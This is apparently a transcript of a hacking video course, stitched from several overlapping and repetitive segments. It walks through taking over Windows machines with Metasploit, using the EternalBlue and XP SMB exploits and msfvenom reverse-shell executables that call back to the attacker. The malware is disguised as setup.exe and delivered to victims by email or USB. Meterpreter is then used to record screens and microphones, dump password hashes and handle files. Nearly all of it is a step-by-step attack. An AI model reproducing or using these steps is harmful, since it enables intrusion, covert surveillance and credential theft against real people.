Hack Windows Like a Pro: Meterpreter, 0-Click Exploits (XP & 7 x64) & Reverse Shells

Once you hack the interpreter, once you hack a computer, you'll likely have the Merterpreter shell. So that is a command line interface where you can control the remote computer using commands. To list all of the commands you can do, just type the help command and that lists everything you can do. So you'll see different categories here, for example password database, audio outputs, so you can play wave files or sound files, you can do webcam commands, control the webcam, things with the user interface like recording their screen, watching their screen or taking a screenshot. You can do some system level things, so system commands like running a program or rebooting the system, maybe shutting down the computer, you can do those things as well. So system commands, some network commands, you can do file system commands, so browse around the whole system, files and upload files. So you can completely control a computer using this Merterpreter shell, but it's a command line interface, so that's something to keep in mind that you type commands when you hack into the box, when you take it over. For example, let's make this a bit smaller and I'll open the home directory and what I'll do now is make this a bit smaller and I'll type screenshot and what you'll see is that it took a screenshot of the victim's computer. You can see there it took a screenshot of the victim's computer because I typed screenshot in the Merterpreter shell. You can type screen, I think it was screencast or screen share and that starts recording the victim's computer, so now we can watch what they are doing on their computer. Now it might be a bit lagging, it might be a bit slow, but you can watch what they are doing using the screen share commands and you'll see that whatever they do we are now watching using the screen share commands. You can browse around the file system as well, if I press ctrl c here we're back in the Merterpreter shell and that is the victim's file system, so for example show the current directory pwd, you'll see we're in the desktop directory cd users john desktop, now we can enter a directory or merge the cd commands. We can upload and download files, so if you type upload we can upload some file. Let's see if I have some file to upload, okay maybe this one, so we upload some file and you'll see the victim now has that file on their computer on the desktop. To delete a file we can type the rm command, so that deletes a file. You can download the file if you type download with some file name. You can change directory as well, so if I type pwd we're in the desktop directory, maybe you're interested in other directory or other folder. Now we're in the desktop folder, so cd dot dot moves up a folder, there shows you all the folders or directories, you see all their directories and you can enter any directory, for example documents, we type cd documents and then type pwd, shows you you're now in the documents directory and we can list the files by typing the dir command, so that lists all of the files in that directory. So using the command line we can completely control the windows computer. So there's other things you can do as well, for example hash dump, it dumps the database, the SAM database, if I do that you'll see it dumps all the passwords, but none of the passwords are in readable format, so all of the passwords are so-called hashed, which is a technique to obsecure the passwords. Now those hashes can be cracked and then you would have the passwords of those users if you crack those hashes of those users. Now you can try to become administrator with the get system command or play some audio file, you can record a microphone, so for example record mic with any amount of seconds and that starts recording the microphone and then saves the output of the recording into the home directory. So now if I go to the home directory you'll see it recorded the microphone, in this case for five seconds, so record mic with the number of seconds will record the microphone of the victim's computer for any amount of seconds you specify, and then save the output of course to a WAV file. Other things you can do as well, so you can send keystrokes, or kill programs, stop programs, for example let's say we start some program here, paint, and we can then use pkill to terminate the processes by name, so you can say pkill, I think it's called paint.exe, and you see that stops the program on the victim's computer So you can do all kind of things, you can browse around the file system, record a microphone, record the webcam, you can also start programs with the execute command, you can reboot the system and so on. Of course the file system you can do lots of things, edit files as well, so you can control the whole computer, but you control the computer through the command line interface, through the meterpreter shell, so you do not actually have a remote desktop where you do everything, instead you have this command line interface called the meterpreter shell. On the right we have the Windows XP computer, I can show you the exact details, so it's a Service Pack 3 Windows XP version 2002 So just the old Windows XP system with Service Pack 3, can be a less version also, and I will exploit the vulnerability in the file sharing system, so on any Windows system you can share folders, so you can create some folder and right click, properties, you will be able to share it in the sharing tab, so you can share this on the network and click apply, okay, so that's all default Windows behavior, so now this would be available on the network. Now on the left we have the attack computer and what we'll do is exploit the vulnerability in the sharing system of Windows, so first we'll scan the computer, now you do that using its IP address, so if you don't know the IP address you can get it from the router, of course in this example I have access to the computer, so I can also show you in the command ipconfig and you'll see the IP address of the victim, so let's say we got it from the router and we know that we can make a scan, you'll see it's running some services, these services are always open when Windows is sharing files, now we can do an aggressive scan, minus A, that will give you some more information, now it also takes longer because the aggressive scan does more aggressive scanning, and after a moment or so it will provide you with information that it's running file sharing SMB or Samba, now that can take a moment but you'll see it's running Windows XP and what we'll do is we'll exploit this Windows computer, so I can run a tool called MSF console, the Metasploit console, and that will take a moment to to load and what we can do from this console is run exploits, so this is going to take a moment to start up, you'll see the Metasploit is now starting, once it started we can run the exploit code, so we're going to say use exploit Windows and we'll use an exploit for Windows XP Samba, so you'll see SMB here, that is the file sharing on Windows XP, and then the exploit is 017 I'm sorry 17.0.10.bsx, now with any type of exploits you can show options for a configuration, so you type show options and you'll see you can set all kind of options, now in this case we'll just set our host which is the target host, so I said set our host to 192.168.2.6 and then I type exploit or run, you'll see that's gonna take a moment, and now we have a meterpreter shell, now keep in mind that this Windows XP system is not running a firewall, so if I go to start control panel, I think security center, you'll see firewall is off, so it's not running any firewall, so now we have a meterpreter shell, you'll see meterpreter with the shell indication here, so we can type for example help, we could take a screenshot, you can see it saves the screenshots in the home directory, so if I go to the home directory, I have a screenshot here, I'm looking inside the victim's computer, now it's gonna take a moment here, you'll see the screenshots, we can also do a screen cast, I think it's not called screen cast, but screen share, and that would just watch what the user is doing on the computer, so you'll see now we're actually watching inside that computer, so whatever the user is doing, now you can watch that with this command, so now we have control over the computer, we can also browse around the file system, upload and download files, we have control over the computer now using the meterpreter shell, so I can exit the shell, so this is the exploit I used, now it's an exploit for the Windows file sharing system, and this one is particularly for Windows XP, so if I type show targets, it doesn't show that, but this exploit is for Windows XP, and yeah, once you launch this on your target system, so if I go to my computer here for the target Windows XP system, in this case the professional version, and then you can start meterpreter, use this exploit, and control the computer, so on the right here I have the target computer, the victim's computer, it's a Windows 7 computer, if I go to the computer properties, you'll see it's the 64-bit version, now it's important because this exploit only works for the Windows 7 64-bit version, it doesn't work for the 32-bit version, so make sure if you want to try it, that you have a 64-bit version of Windows 7, you'll see a Windows 7 professional with the 64-bit version, so we'll target this system, and in order to target it, we need to know its IP address, you can find that in the router, or, well, in this case we have physical access, so we can also ask the computer for its IP address, so I start at command.exe and I type ipconfig to know its IP address, so what we can do is to attack this computer by its IP address using the Metasploit console, so I open a terminal here in Kali Linux, you see I click the terminal button, and I type msfconsole, that starts the Metasploit console with an exploitation framework, and once started, we will load an exploit, you'll see it started here, and it tells you about all of the exploits, so more than 2000 exploits available, and now we can target this Windows computer, so we type use-exploit-windows, and in this case, it's a vulnerability in SMB again, so what we can do is, first, the computer needs to be sharing something, for example, maybe some folder on the network, right-click, properties, sharing, so it needs to share something on the network, click advanced sharing, and share this folder, okay, so it's an exploit in SMB, which is for file sharing on Windows, and then we type ms17 010 eternalblue, now we need to set a target, and the target is the IP address, so we type set rhost 192.168.2.9, the IP address of your target system, so we type set rhost, after typing use-exploit, you'll see that when I type use-exploit and so on, it indicates that we're using the exploit here in red, so then we set the rhost, and we type run, and that's gonna take a moment, keep in mind that this exploit works for server spec 1, so if you do updates on your Windows system, on your Windows 7 system, this exploit might no longer work, because Microsoft fixed this vulnerability, so make sure that it's server spec 1, so in our, if I click computer properties, you'll see server spec 1, so if you have a newer server spec, if you run updates, then this vulnerability might be patched, might be fixed by Microsoft, so now we have the meterpreter shell, we typed exploit, and we typed run, and that started running the exploit, and now we have a meterpreter shell in the Windows computer, so we can, for example, take a screenshot of the victims, and I can go to the home folder, and you'll see it took a screenshot of the victims computer, we can browse around the file system, if I type there, you'll see files in this Windows computer, or pwd, shows us we're in the system directory, we can type cd slash, or cd backslash on Windows, and there, show the files and folders, and we might be interested in the users data, so cd users, and maybe interested in John, so cd John, and you see we can browse around the file system, now we would be able to upload or download files, so we can say upload some file, for example, this file, let's upload it to the desktop directory just for demonstration, so we type upload with the file, and you'll see it uploaded the file to the victims desktop, you can also delete it, so I think it's rm, and see that deletes the file, and you can do all kind of things, so if I type help, you see you can dump the Windows passwords, if you type hashdump, you can open the webcam, record the microphone, you can also do screen share, so if we do screen share, you can watch what the user is actually doing, what the victim is doing on the computer, you see now it shows this, and if for example the victim is using the computer, you can just watch what they're doing, and so yeah, that is for the Windows 7 64-bit version, so this exploit that we use, if I exit the meterpreter shell, the eternal blue, this exploit, it only works for some systems, so in this case Windows 7, the 64-bit version, and you'll see we didn't need any password or anything, even the user didn't need to run a program, just it needed some file sharing on the network, and that allows us to take over the computer, so on the right we have the victim's computer, which is a Windows XP machine, you'll see it has a little note, your computer might be at risk, so there is no antivirus software, and there is no firewall, if I go to the control panel, you'll see Windows firewall is off, that's important for the attack to work, and also no antivirus, because what we'll do in this video, is we'll create a malicious program that takes over control over the computer, and gives us the meterpreter shell, so we'll create a malicious program using a tool called msfvenom, so we type msfvenom, then minus p, and we need to know this 32-bit computer on 64, so this seems to be a 32-bit computer, so we say windows meterpreter reverse tcp, then we need to connect to our IP address, so you can always see your IP address when you open a new terminal, and type the command ip address show, and you'll see in purple your IP address, so the command is ip address show, to get the IP address of your computer, then the port number, and we want to create a malicious executable, now that will take a moment, and it will create the malicious executable, see it created the exe, keep in mind here I specified minus f exe, so the msfvenom program can create malicious programs for different systems, the exe msfvenom can create executables for windows, minus f exe specifies that it's a windows executable, so it's not for mac or linux or some other system, so minus f exe is important to specify, otherwise it won't work, and we save it into bat.exe, so if I make this larger you'll see this is the full command that creates the malicious executable, and it wants to connect to our computer, so what we need to do is to wait for a connection, so we can do that with msf console, and the malicious program will connect to our computer, so we type use exploit multi handler, then we type set payload to the same payload as we used before, so we use this payload, so the same payload as before, then our ip address with lhost, and our port, and we then type run, that will wait for a connection, so the next thing we need to do is to connect to run the malicious program on the victim's computer, so we need the victim to get it to execute the malicious program, you might do that through social engineering, like we created a malicious program here, bat.exe, which would be too obvious, so maybe we would rename it and call it setup.exe, or something the user is interested in, so let's rename it to setup.exe, maybe fool the user into thinking it's a video game or something like that, now we need to copy this to the victim's computer, so we could email it, or maybe some other ways that we can get the malicious executable on the victim's computer, it can even be like a usb drive or something like that, so in this example i will just share my computer on the network to download it, but obviously in the real world you would email it, or send a usb, or send a link to it, so i'm just gonna connect to it, to my computer here directly, i use this command to start a web server on the Kali system, and that allows me to download this program directly to the desktop, so you see i have the program now on the computer, now it doesn't really matter how you transfer that file to the computer, so you can maybe, you can do it this method, or you can send it using anywhere, or some file sharing website, a floppy drive, or not floppy drive, i mean usb drive, or something like that, so now it's listening for connections, so if we start it, it should connect to the victim's computer, which you see here, and it says himeterpreter, so because the victim started this malicious program, it gave us the meterpreter shell, so now we can control the computer, which is now saved here, so we have a screenshot of the victim's computer, we might start recording the desktop, so if we say screen share, we can watch what is the victim actually doing, so they might be doing something on their computer, and we will be able to watch what they are doing, right, so with the screen share command, ctrl c to pass that, if we type help, you can see all the commands, so you can play audio, do stuff with the webcam, record the microphone for some amount of time, you can control the mouse, press keyboard keys, we can also do like shut down the computer, if we type shut down, the windows computer would actually shut down, you can close programs, so for example maybe the user is running some program, maybe internet, internet explorer, and we would say kill the program, iExplorer.exe, okay that's not the process name, so we can see the actual processes, with the ps command, list the running processes, so ps, and you'll see iExplorer with capitals here, so let's try to kill that, and you see we closed the program on the user's computer, so we can completely control the user's computer, we can upload or download files, for example we might upload some file from our home directory, you see that uploaded to the desktop using the upload command, so upload space file name, that uploads from our kali directory into the victim's computer, if we were to delete those, we can also download, so we say download with whatever file, you'll see that downloads the file from the victim's computer to our computer, so we can, this will remove it with the rm commands, we can completely control the computer, in this case we use the malicious program, once that user clicked that, we got the meterpreter shell, so if the attack works, you always see meterpreter shell, if it didn't work, you won't see meterpreter displayed, on the right we have the target computer, and on the left we have the hacker's computer, and what we'll do is we'll make the victim execute a malicious program, and using, by doing that, by making the user execute that program, we take over control of their computer, so in order to do that, we need to create this malicious program, I open a terminal here, and I use a program called msfvenom, with that program we can create malicious program, so we can say venom minus p windows slash meterpreter reverse tcp, and it needs to connect to us, so we need to specify our ip address inside the meterpreter binary, so we say lhost is, and then our ip address, which we can get by opening a new window and typing ifconfig, so that will tell us our ip address 192.168.2.4, so the command is, or alternatively, you can type the command ip address show, that tells you your ip address, now in this case we're both on the same network, so if you're not on the same network, you actually need to run kali in the cloud, where you're able to connect to your, to the public ip address, we need to specify a port as well, let's say 445, and the file type, so windows uses .exe files as executables, so .exe's, and then we need to save it as some program, for example bad.exe, that creates the malicious program bad.exe, and once the user runs the program, it connects to our computer, using our computer's network address, so you'll see, i can close this, if i press ls, you'll see bad.exe now has been created, or if i open a folder here, you'll see we have a program called bad.exe, and that program is a malicious program, that once the user runs it, it will connect to our computer, so it will connect to our computer, but in order for it to connect to our computer, we need to actually be listening on our computer for a connection, so we type msfconsole, and we'll actually start listening on our computer for a connection, so that once the user starts the malicious program, that we can actually, it can actually connect to our computer, so once msfconsole starts, you type use exploit multi handler, then we type set payloads with the same payload, so that's win 64, interpreter, that's actually interpreter reverse tcp, that is the payload we used, i can actually just copy that instead of typing it, so we set it to be the same, and we are listening on port 445, then we just type exploit or run, in this case we might have missed setting our own ip address, so set lhost to our ip address, so that is 2.4, you can see with ifconfig our ip address, now type run, you'll see it starts listening for a connection, so next we need to get this bad program onto the victim's computer, so we need to do some social engineering, for example send a link, or send an email, or maybe put it on a usb flash drive, such that they will start this program, now obviously you wouldn't want to name it bad.exe, maybe something else like setup.exe, it's a little bit more something that the user would click right, setup.exe, and maybe he wants to install something, and so yeah, we need to get this program onto the victim's computer, either by sending a link, or sending an email, or put it on a usb flash, so we are listening on our computer for a connection, as you see and on the right the victim downloaded the malicious program on their computer, and what they will do now is just click on it to run it, they think they will start a setup, but what it does instead is open a meterpreter shell on our computer, and now we can run any command we have hacked the computer, so just by one click on the victim's computer it started a malicious program that connects to our computer and give us the meterpreter shell, so now we can type for example screenshots, and we get a screenshot of the victim's computer, you'll see we have a screenshot here that we took with the meterpreter shell, you can now upload and download files, let's say we upload that music file, or that recording, so that wave file, and you'll see that uploaded the file, you can download as well, or delete files, so we say error, and it deletes the file, so we have just hacked the windows computer, we created a malicious program using the program msfvenom, so keep in mind that when you create a malicious program, we just exit, we run that program called msfvenom, so this is the command we used to make the malicious program, now the thing we, two important things here, one is that we use the meterpreter shell, so that's the windows slash meterpreter slash reverse tcp, then that we specify our computer's address of our computer, so not of the victim's computer, but of our computer, because we need the victim's computer to connect to our computer, so we set lhost is to the ip address of our computer, which you can always see using the command ip address show, that tells you the your ip address, then some ports, so i picked 445, but you can pick any port, and keep in mind that you wanted a windows executable, so the msfvenom program can create executables for different systems, for example android, apple osx, x, and as well as windows, so that's why we specify minus fx, that is a windows executable, and then we save that as to bad.x, so we'll hack a windows 10 computer, this is just the default windows 10 system, and what we'll do is, we'll hack it using a malicious program, for this to work, we need to disable the firewall, because windows 10 has some detection systems against it, so i'm going to start and search for firewall, and i get to the firewall and network protection, i'm just gonna turn it all off, because otherwise the malicious program will be detected, it will say here turn off the firewall, and might have some other, we want to turn off the firewall completely, so by default windows has firewall, and that will block our malicious application, and it might also be running defender, so our anti-virus software, virus and threat protection, and so we're gonna turn that off as well, because what it will do is to, is it will detect our malicious program, so i'm gonna just turn all of the security off, right, for this to work, now we'll open a terminal on our attacker computer, on our Kali system, and what we want to do is to create a malicious program, we can do that using the tool msfvenom, so we type msfvenom, then we create windows executable, a malicious windows interpreter program, we use a 64 here, because it's a 64-bit computer, if we go to the computer, we will be able to see it's a 64-bit computer, so specify it connects to our computer, so type your ip address, you can find your ip address by typing ip addr show, the malicious program will connect to our ip address, in this case 2.4, so i use the command ip addr show, then some port, now remember that port number, because we'll use the same port number later on, so in this case i picked 445, can be any number you want, but make sure it's the same one, and it's a windows executable, so minus f exe, and then your program name, so for example funny.exe, it will create the malicious program using this command, and in this case we have an invalid payload, so you might say reverse ip, let's see if that works, we need to select the right payload, so that works, now it created a file called funny.exe, which is malicious, and once the user starts that executable, it will connect to our computer, so in our home directory we now have funny.exe, which we need the user to get to execute, so of course this attack is a bit unlikely, because it needs to turn off all the security mechanism, the firewall, the anti-virus, and then also to run this executable funny.exe, so windows 10 is just harder to hack compared to the previous versions, so we have here funny.exe, and we need to start a listener, because what it will do is it connects to our computer once it starts the program here, so it will start the malicious program that connects to our computer, in order to connect it needs to start listening, so we type console, and then once it starts, it will start listening, so we type use exploit multi-handler, set lhost to our ip address, and set lport then the same port, so we specified 445 before, when we created the program, you see lport 445, and now inside our handler we set lport 445, so the same one, and then we type run, and that will start listening on this computer for any connection, so next thing we need to do is to get the malicious program onto the windows 10 computer, which we can send by email, or maybe send it by whatsapp, or some other way, maybe usb stick, or send some download link, so we need it to get that program onto the computer, so on the left we are listening for a connection, you'll see start as reverse tcp handler, because we typed run here, and on the right we have the user, who downloaded the malicious program, and then executes, and you'll see windows has some other protection here, that we need to turn off, so right click properties, and we'll type unblock, and now click run, and you'll see that starts loading, but we didn't receive any connection yet, it tells us the ip address of the windows computer here, but it didn't give us any email, and that is because we forgot to set the payloads, so what we want to do, we're gonna exit this, we run metasploit console, now that's gonna take a moment to start, we type the same command, use exploit multi handler, and again we set the port, and the ip address, and we also need to set the payloads, so that needs to be the same payload as we specified before, so that's windows 64, meterpreter, reverse tcp, and then run, so we forgot this command, which is why it didn't work, press run, and then we start the program, and you'll see that gave us the meterpreter shell, now we can say for example screenshot, and that saves a screenshot of the victim's computer, and we have the meterpreter shell, so we can do anything now, we might browse around in the file system, so we're in the downloads directory, we can shut down the computer, reboot it, or maybe just watch what they are doing, if we type screen share, we can see all the things they are doing on their computer, press ctrl c to continue, we can upload and download files, so we might upload for example, might enter the desktop directory, and upload funny.exe there, or some other file, you can also download with the download commands, or remove files, so you see we can, we can hack windows with an executable, windows 10 in this case, but in windows 10 they added quite some protection mechanisms, like the windows defender firewall, sorry, windows firewall on the defender program, the antivirus program, and also we needed to explicitly allow that we could run it, so if we right click properties, we had to specifically allow that this program could be run, so they have quite some security mechanism against the program attack in windows 10, so for that reason, windows 10 is harder to hack compared to windows 7 or older versions.